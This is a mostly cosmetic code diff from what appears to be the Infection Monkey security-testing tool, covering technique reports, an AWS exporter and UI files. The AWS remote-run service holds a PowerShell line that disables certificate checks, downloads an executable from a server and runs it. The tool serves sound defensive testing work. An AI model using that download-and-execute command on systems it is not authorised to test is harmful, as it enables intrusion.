TECHNIQUES = {'T1210': T1210.T1210, TECHNIQUES = {'T1210': T1210.T1210,
@ -52,7 +51,7 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one. Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object :return: Report object
""" """
report =\ report = \
{ {
'techniques': {}, 'techniques': {},
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1003(AttackTechnique): class T1003(AttackTechnique):
tech_id = "T1003" tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = "" scanned_msg = ""

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1005(AttackTechnique): class T1005(AttackTechnique):
tech_id = "T1005" tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system." unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1016(AttackTechnique): class T1016(AttackTechnique):
tech_id = "T1016" tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations." unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1018(AttackTechnique): class T1018(AttackTechnique):
tech_id = "T1018" tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network." unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = "" scanned_msg = ""

View File

@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ" __author__ = "VakarisZ"

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1041(AttackTechnique): class T1041(AttackTechnique):
tech_id = "T1041" tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1059(AttackTechnique): class T1059(AttackTechnique):
tech_id = "T1059" tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at." unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1065(AttackTechnique): class T1065(AttackTechnique):
tech_id = "T1065" tech_id = "T1065"
unscanned_msg = "" unscanned_msg = ""
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1075(AttackTechnique): class T1075(AttackTechnique):
tech_id = "T1075" tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack." unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1082(AttackTechnique): class T1082(AttackTechnique):
tech_id = "T1082" tech_id = "T1082"
unscanned_msg = "Monkey didn't gather any system info on the network." unscanned_msg = "Monkey didn't gather any system info on the network."
scanned_msg = "" scanned_msg = ""
@ -22,17 +21,17 @@ class T1082(AttackTechnique):
{'$project': {'_id': 0, {'$project': {'_id': 0,
'machine': 1, 'machine': 1,
'collections': [ 'collections': [
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
'name': {'$literal': 'Amazon Web Services info'}}, 'name': {'$literal': 'Amazon Web Services info'}},
{'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]}, {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
'name': {'$literal': 'Running process list'}}, 'name': {'$literal': 'Running process list'}},
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
'name': {'$literal': 'Network connections'}}, 'name': {'$literal': 'Network connections'}},
{'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
'name': {'$literal': 'SSH info'}}, 'name': {'$literal': 'SSH info'}},
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
'name': {'$literal': 'Azure info'}} 'name': {'$literal': 'Azure info'}}
]}}, ]}},
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
{"$replaceRoot": {"newRoot": "$_id"}}] {"$replaceRoot": {"newRoot": "$_id"}}]

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1086(AttackTechnique): class T1086(AttackTechnique):
tech_id = "T1086" tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell." unscanned_msg = "Monkey didn't run powershell."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1090(AttackTechnique): class T1090(AttackTechnique):
tech_id = "T1090" tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy." unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = "" scanned_msg = ""
@ -20,5 +19,3 @@ class T1090(AttackTechnique):
data = T1090.get_base_data_by_status(status) data = T1090.get_base_data_by_status(status)
data.update({'proxies': monkeys}) data.update({'proxies': monkeys})
return data return data

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1105(AttackTechnique): class T1105(AttackTechnique):
tech_id = "T1105" tech_id = "T1105"
unscanned_msg = "Monkey didn't try to copy files to any systems." unscanned_msg = "Monkey didn't try to copy files to any systems."
scanned_msg = "Monkey tried to copy files, but failed." scanned_msg = "Monkey tried to copy files, but failed."

View File

@ -46,5 +46,3 @@ class T1110(AttackTechnique):
data.update({'services': attempts}) data.update({'services': attempts})
return data return data

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1188(AttackTechnique): class T1188(AttackTechnique):
tech_id = "T1188" tech_id = "T1188"
unscanned_msg = "Monkey didn't use multi-hop proxy." unscanned_msg = "Monkey didn't use multi-hop proxy."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1210(AttackTechnique): class T1210(AttackTechnique):
tech_id = "T1210" tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them." scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
@ -30,8 +29,8 @@ class T1210(AttackTechnique):
@staticmethod @staticmethod
def get_scanned_services(): def get_scanned_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}}, results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
{'$sort': {'data.service_count': -1}}, {'$sort': {'data.service_count': -1}},
{'$group': { {'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'}, '_id': {'ip_addr': '$data.machine.ip_addr'},
'machine': {'$first': '$data.machine'}, 'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}]) 'time': {'$first': '$timestamp'}}}])

View File

@ -15,7 +15,6 @@ __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
# This should be used for config values of array type (array of strings only) # This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \ ENCRYPTED_CONFIG_ARRAYS = \
[ [
@ -266,11 +265,11 @@ class ConfigService:
# Check if array of shh key pairs and then decrypt # Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True) ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else: else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
else: else:
parent_config_arr[config_arr_as_array[-1]] =\ parent_config_arr[config_arr_as_array[-1]] = \
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr) encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
@staticmethod @staticmethod

View File

@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files
from flask import jsonify from flask import jsonify
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -28,4 +27,3 @@ class Database(object):
def init_db(): def init_db():
if not mongo.db.collection_names(): if not mongo.db.collection_names():
Database.reset_db() Database.reset_db()

View File

@ -1,4 +1,5 @@
import logging import logging
__author__ = "Maor.Rayzin" __author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
__author__ = 'maor.rayzin' __author__ = 'maor.rayzin'

View File

@ -130,7 +130,7 @@ class RemoteRunAwsService:
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod @staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip): def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):

View File

@ -208,9 +208,9 @@ class AWSExporter(Exporter):
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated " recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
"over the SSH protocol with private key {ssh_key}.".format( "over the SSH protocol with private key {ssh_key}.".format(
machine=issue['machine'], machine=issue['machine'],
ip_address=issue['ip_address'], ip_address=issue['ip_address'],
ssh_key=issue['ssh_key']), ssh_key=issue['ssh_key']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -224,8 +224,8 @@ class AWSExporter(Exporter):
description="Update your Elastic Search server to version 1.4.3 and up.", description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made " recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
"possible because the Elastic Search server was not patched against CVE-2015-1427.".format( "possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
issue['machine'], issue['machine'],
issue['ip_address']), issue['ip_address']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -269,7 +269,7 @@ class AWSExporter(Exporter):
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a " "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
"shell injection attack on the paths: {3}.".format( "shell injection attack on the paths: {3}.".format(
issue['machine'], issue['ip_address'], issue['port'], issue['paths']), issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -284,9 +284,9 @@ class AWSExporter(Exporter):
"network.".format(issue['username']), "network.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB " recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
"protocol with user {2} and its password.".format( "protocol with user {2} and its password.".format(
issue['machine'], issue['machine'],
issue['ip_address'], issue['ip_address'],
issue['username']), issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -301,9 +301,9 @@ class AWSExporter(Exporter):
"network.", "network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over " recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
"the WMI protocol with user {username} and its password.".format( "the WMI protocol with user {username} and its password.".format(
machine=issue['machine'], machine=issue['machine'],
ip_address=issue['ip_address'], ip_address=issue['ip_address'],
username=issue['username']), username=issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -318,9 +318,9 @@ class AWSExporter(Exporter):
"network.".format(issue['username']), "network.".format(issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a " recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
"pass-the-hash attack over WMI protocol with user {username}".format( "pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'], machine=issue['machine'],
ip_address=issue['ip_address'], ip_address=issue['ip_address'],
username=issue['username']), username=issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -361,7 +361,7 @@ class AWSExporter(Exporter):
description="This critical machine is open to attacks via strong users with access to it.", description="This critical machine is open to attacks via strong users with access to it.",
recommendation="The services: {services} have been found on the machine thus classifying it as a critical " recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
"machine. These users has access to it:{threatening_users}.".format( "machine. These users has access to it:{threatening_users}.".format(
services=issue['services'], threatening_users=issue['threatening_users']), services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )

View File

@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.environment.environment import env from monkey_island.cc.environment.environment import env
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)

View File

@ -64,6 +64,3 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
self.assertEqual(map_nodes[0]["group"], "critical") self.assertEqual(map_nodes[0]["group"], "critical")
self.assertEqual(len(map_nodes[0]["services"]), 2) self.assertEqual(len(map_nodes[0]["services"]), 2)
self.assertEqual(map_nodes[0]["hostname"], hostname) self.assertEqual(map_nodes[0]["hostname"], hostname)

View File

@ -306,7 +306,7 @@ class TestZeroTrustService(IslandTestCase):
def compare_lists_no_order(s, t): def compare_lists_no_order(s, t):
t = list(t) # make a mutable copy t = list(t) # make a mutable copy
try: try:
for elem in s: for elem in s:
t.remove(elem) t.remove(elem)

View File

@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json):
post_breach_action_name = telemetry_json["data"]["name"] post_breach_action_name = telemetry_json["data"]["name"]
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)

View File

@ -9,7 +9,7 @@ from monkey_island.cc.models.zero_trust.segmentation_finding import Segmentation
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
"from `{src_seg}` segments to `{dst_seg}` segments." "from `{src_seg}` segments to `{dst_seg}` segments."
SEGMENTATION_VIOLATION_EVENT_TEXT = \ SEGMENTATION_VIOLATION_EVENT_TEXT = \
"Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
@ -101,8 +101,8 @@ def get_segmentation_done_event(current_monkey, subnet_pair):
return Event.create_event( return Event.create_event(
title="Segmentation test done", title="Segmentation test done",
message=SEGMENTATION_DONE_EVENT_TEXT.format( message=SEGMENTATION_DONE_EVENT_TEXT.format(
hostname=current_monkey.hostname, hostname=current_monkey.hostname,
src_seg=subnet_pair[0], src_seg=subnet_pair[0],
dst_seg=subnet_pair[1]), dst_seg=subnet_pair[1]),
event_type=EVENT_TYPE_MONKEY_NETWORK event_type=EVENT_TYPE_MONKEY_NETWORK
) )

View File

@ -54,4 +54,3 @@ class VersionUpdateService:
@staticmethod @staticmethod
def get_download_link(): def get_download_link():
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version()) return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())

View File

@ -5,7 +5,6 @@ __author__ = 'maor.rayzin'
class WMIHandler(object): class WMIHandler(object):
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
def __init__(self, monkey_id, wmi_info, user_secrets): def __init__(self, monkey_id, wmi_info, user_secrets):
@ -160,4 +159,3 @@ class WMIHandler(object):
{'type': USERTYPE, 'entities_list': 1}) {'type': USERTYPE, 'entities_list': 1})
if entity_details.get('type') == GROUPTYPE: if entity_details.get('type') == GROUPTYPE:
self.add_admin(entity_details, machine_id) self.add_admin(entity_details, machine_id)

View File

@ -1,4 +1,10 @@
{ {
"presets": ["es2015", "stage-0", "react"], "presets": [
"plugins": ["emotion"] "es2015",
"stage-0",
"react"
],
"plugins": [
"emotion"
]
} }

View File

@ -19,14 +19,22 @@
}, },
"rules": { "rules": {
"comma-dangle": 1, "comma-dangle": 1,
"quotes": [ 1, "single" ], "quotes": [
1,
"single"
],
"no-undef": 1, "no-undef": 1,
"global-strict": 0, "global-strict": 0,
"no-extra-semi": 1, "no-extra-semi": 1,
"no-underscore-dangle": 0, "no-underscore-dangle": 0,
"no-console": 1, "no-console": 1,
"no-unused-vars": 1, "no-unused-vars": 1,
"no-trailing-spaces": [1, { "skipBlankLines": true }], "no-trailing-spaces": [
1,
{
"skipBlankLines": true
}
],
"no-unreachable": 1, "no-unreachable": 1,
"no-alert": 0, "no-alert": 0,
"react/jsx-uses-react": 1, "react/jsx-uses-react": 1,

View File

@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config');
// Set node environment to testing // Set node environment to testing
process.env.NODE_ENV = 'test'; process.env.NODE_ENV = 'test';
module.exports = function(config) { module.exports = function (config) {
config.set({ config.set({
basePath: '', basePath: '',
browsers: [ 'PhantomJS' ], browsers: ['PhantomJS'],
files: [ files: [
'test/loadtests.js' 'test/loadtests.js'
], ],
port: 8000, port: 8000,
captureTimeout: 60000, captureTimeout: 60000,
frameworks: [ 'mocha', 'chai' ], frameworks: ['mocha', 'chai'],
client: { client: {
mocha: {} mocha: {}
}, },
singleRun: true, singleRun: true,
reporters: [ 'mocha', 'coverage' ], reporters: ['mocha', 'coverage'],
preprocessors: { preprocessors: {
'test/loadtests.js': [ 'webpack', 'sourcemap' ] 'test/loadtests.js': ['webpack', 'sourcemap']
}, },
webpack: webpackCfg, webpack: webpackCfg,
webpackServer: { webpackServer: {
@ -28,8 +28,8 @@ module.exports = function(config) {
coverageReporter: { coverageReporter: {
dir: 'coverage/', dir: 'coverage/',
reporters: [ reporters: [
{ type: 'html' }, {type: 'html'},
{ type: 'text' } {type: 'text'}
] ]
} }
}); });

View File

@ -14,19 +14,19 @@ let isInitialCompilation = true;
const compiler = webpack(config); const compiler = webpack(config);
new WebpackDevServer(compiler, config.devServer) new WebpackDevServer(compiler, config.devServer)
.listen(config.port, 'localhost', (err) => { .listen(config.port, 'localhost', (err) => {
if (err) { if (err) {
console.log(err); console.log(err);
} }
console.log('Listening at localhost:' + config.port); console.log('Listening at localhost:' + config.port);
}); });
compiler.plugin('done', () => { compiler.plugin('done', () => {
if (isInitialCompilation) { if (isInitialCompilation) {
// Ensures that we log after webpack printed its stats (is there a better way?) // Ensures that we log after webpack printed its stats (is there a better way?)
setTimeout(() => { setTimeout(() => {
console.log('\n✓ The bundle is now ready for serving!\n'); console.log('\n✓ The bundle is now ready for serving!\n');
console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/'); console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n'); console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n');
console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.') console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.')
}, 350); }, 350);

View File

@ -14,10 +14,10 @@ class MatrixComponent extends AuthComponent {
}; };
// Finds which attack type has most techniques and returns that number // Finds which attack type has most techniques and returns that number
static findMaxTechniques(data){ static findMaxTechniques(data) {
let maxLen = 0; let maxLen = 0;
data.forEach(function(techType) { data.forEach(function (techType) {
if (Object.keys(techType.properties).length > maxLen){ if (Object.keys(techType.properties).length > maxLen) {
maxLen = Object.keys(techType.properties).length maxLen = Object.keys(techType.properties).length
} }
}); });
@ -25,18 +25,18 @@ class MatrixComponent extends AuthComponent {
}; };
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix) // Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
static parseTechniques (data, maxLen) { static parseTechniques(data, maxLen) {
let techniques = []; let techniques = [];
// Create rows with attack techniques // Create rows with attack techniques
for (let i = 0; i < maxLen; i++) { for (let i = 0; i < maxLen; i++) {
let row = {}; let row = {};
data.forEach(function(techType){ data.forEach(function (techType) {
let rowColumn = {}; let rowColumn = {};
rowColumn.techName = techType.title; rowColumn.techName = techType.title;
if (i <= Object.keys(techType.properties).length) { if (i <= Object.keys(techType.properties).length) {
rowColumn.technique = Object.values(techType.properties)[i]; rowColumn.technique = Object.values(techType.properties)[i];
if (rowColumn.technique){ if (rowColumn.technique) {
rowColumn.technique.name = Object.keys(techType.properties)[i] rowColumn.technique.name = Object.keys(techType.properties)[i]
} }
} else { } else {
@ -50,28 +50,28 @@ class MatrixComponent extends AuthComponent {
}; };
getColumns(matrixData) { getColumns(matrixData) {
return Object.keys(matrixData[0]).map((key)=>{ return Object.keys(matrixData[0]).map((key) => {
return { return {
Header: key, Header: key,
id: key, id: key,
accessor: x => this.renderTechnique(x[key].technique), accessor: x => this.renderTechnique(x[key].technique),
style: { 'whiteSpace': 'unset' } style: {'whiteSpace': 'unset'}
}; };
}); });
} }
renderTechnique(technique) { renderTechnique(technique) {
if (technique == null){ if (technique == null) {
return (<div />) return (<div/>)
} else { } else {
return (<Tooltip content={technique.description} direction="down"> return (<Tooltip content={technique.description} direction="down">
<Checkbox checked={technique.value} <Checkbox checked={technique.value}
necessary={technique.necessary} necessary={technique.necessary}
name={technique.name} name={technique.name}
changeHandler={this.props.change}> changeHandler={this.props.change}>
{technique.title} {technique.title}
</Checkbox> </Checkbox>
</Tooltip>) </Tooltip>)
} }
}; };
@ -85,20 +85,20 @@ class MatrixComponent extends AuthComponent {
renderLegend = () => { renderLegend = () => {
return ( return (
<div id="header" className="row justify-content-between attack-legend"> <div id="header" className="row justify-content-between attack-legend">
<Col xs={4}> <Col xs={4}>
<i className="fa fa-circle-thin icon-unchecked"></i> <i className="fa fa-circle-thin icon-unchecked"></i>
<span> - Dissabled</span> <span> - Dissabled</span>
</Col> </Col>
<Col xs={4}> <Col xs={4}>
<i className="fa fa-circle icon-checked"></i> <i className="fa fa-circle icon-checked"></i>
<span> - Enabled</span> <span> - Enabled</span>
</Col> </Col>
<Col xs={4}> <Col xs={4}>
<i className="fa fa-circle icon-mandatory"></i> <i className="fa fa-circle icon-mandatory"></i>
<span> - Mandatory</span> <span> - Mandatory</span>
</Col> </Col>
</div>) </div>)
}; };
render() { render() {
@ -110,7 +110,7 @@ class MatrixComponent extends AuthComponent {
<ReactTable columns={tableData['columns']} <ReactTable columns={tableData['columns']}
data={tableData['matrixTableData']} data={tableData['matrixTableData']}
showPagination={false} showPagination={false}
defaultPageSize={tableData['maxTechniques']} /> defaultPageSize={tableData['maxTechniques']}/>
</div> </div>
</div>); </div>);
} }

View File

@ -1,57 +1,62 @@
import React from "react"; import React from "react";
export function renderMachine(val){ export function renderMachine(val) {
return ( return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span> <span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
) )
} }
/* Function takes data gathered from system info collector and creates a /* Function takes data gathered from system info collector and creates a
string representation of machine from that data. */ string representation of machine from that data. */
export function renderMachineFromSystemData(data) { export function renderMachineFromSystemData(data) {
let machineStr = data['hostname'] + " ( "; let machineStr = data['hostname'] + " ( ";
data['ips'].forEach(function(ipInfo){ data['ips'].forEach(function (ipInfo) {
if(typeof ipInfo === "object"){ if (typeof ipInfo === "object") {
machineStr += ipInfo['addr'] + ", "; machineStr += ipInfo['addr'] + ", ";
} else { } else {
machineStr += ipInfo + ", "; machineStr += ipInfo + ", ";
} }
}); });
// Replaces " ," with " )" to finish a list of IP's // Replaces " ," with " )" to finish a list of IP's
return machineStr.slice(0, -2) + " )" return machineStr.slice(0, -2) + " )"
} }
/* Formats telemetry data that contains _id.machine and _id.usage fields into columns /* Formats telemetry data that contains _id.machine and _id.usage fields into columns
for react table. */ for react table. */
export function getUsageColumns() { export function getUsageColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', {
id: 'machine', Header: 'Machine',
accessor: x => renderMachineFromSystemData(x.machine), id: 'machine',
style: { 'whiteSpace': 'unset' }, accessor: x => renderMachineFromSystemData(x.machine),
width: 300}, style: {'whiteSpace': 'unset'},
{Header: 'Usage', width: 300
id: 'usage', },
accessor: x => x.usage, {
style: { 'whiteSpace': 'unset' }}] Header: 'Usage',
}])} id: 'usage',
accessor: x => x.usage,
style: {'whiteSpace': 'unset'}
}]
}])
}
/* Renders table fields that contains 'used' boolean value and 'name' string value. /* Renders table fields that contains 'used' boolean value and 'name' string value.
'Used' value determines if 'name' value will be shown. 'Used' value determines if 'name' value will be shown.
*/ */
export function renderUsageFields(usages){ export function renderUsageFields(usages) {
let output = []; let output = [];
usages.forEach(function(usage){ usages.forEach(function (usage) {
if(usage['used']){ if (usage['used']) {
output.push(<div key={usage['name']}>{usage['name']}</div>) output.push(<div key={usage['name']}>{usage['name']}</div>)
} }
}); });
return (<div>{output}</div>); return (<div>{output}</div>);
} }
export const ScanStatus = { export const ScanStatus = {
UNSCANNED: 0, UNSCANNED: 0,
SCANNED: 1, SCANNED: 1,
USED: 2 USED: 2
}; };

View File

@ -17,7 +17,8 @@ class T1003 extends React.Component {
<div>{this.props.data.message}</div> <div>{this.props.data.message}</div>
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/> <StolenPasswordsComponent
data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
: ""} : ""}
